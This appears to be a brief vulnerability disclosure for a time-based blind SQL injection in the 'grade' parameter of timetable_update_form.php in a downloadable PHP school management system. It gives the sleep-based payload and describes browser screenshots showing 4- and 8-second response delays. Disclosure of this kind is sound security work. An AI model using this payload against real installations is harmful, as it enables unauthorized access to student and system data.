

SQL injection vulnerability exists in grade parameter of /view/timetable\_update\_form.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot displays the Network tab of a web browser's developer tools. The selected request is a GET to /std1/view/timetable\_update\_form.php?grade=(select(0)from(select(sleep(4)))v)&subject= HTTP/1.1. The response is an HTTP/1.1 200 OK from nginx/1.15.11, with a Content-Type of text/html; charset=UTF-8 and a Content-Length of 4408. The response body shows HTML code for a modal dialog, including a row with a panel and a panel-heading with a background color of orange. The status bar at the bottom indicates the request is 'Done' and took 4,598 bytes and 4,060 milliseconds.

Sleep time is 8s:

The screenshot displays the Network tab of a web browser's developer tools. The selected request is a GET to /std1/view/timetable\_update\_form.php?grade=(select(0)from(select(sleep(8)))v)&subject= HTTP/1.1. The response is an HTTP/1.1 200 OK from nginx/1.15.11, with a Content-Type of text/html; charset=UTF-8 and a Content-Length of 4408. The response body shows HTML code for a modal dialog, including a row with a panel and a panel-heading with a background color of orange. The status bar at the bottom indicates the request is 'Done' and took 4,598 bytes and 8,024 milliseconds.

Payload: grade=(select(0)from(select(sleep(4)))v)

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>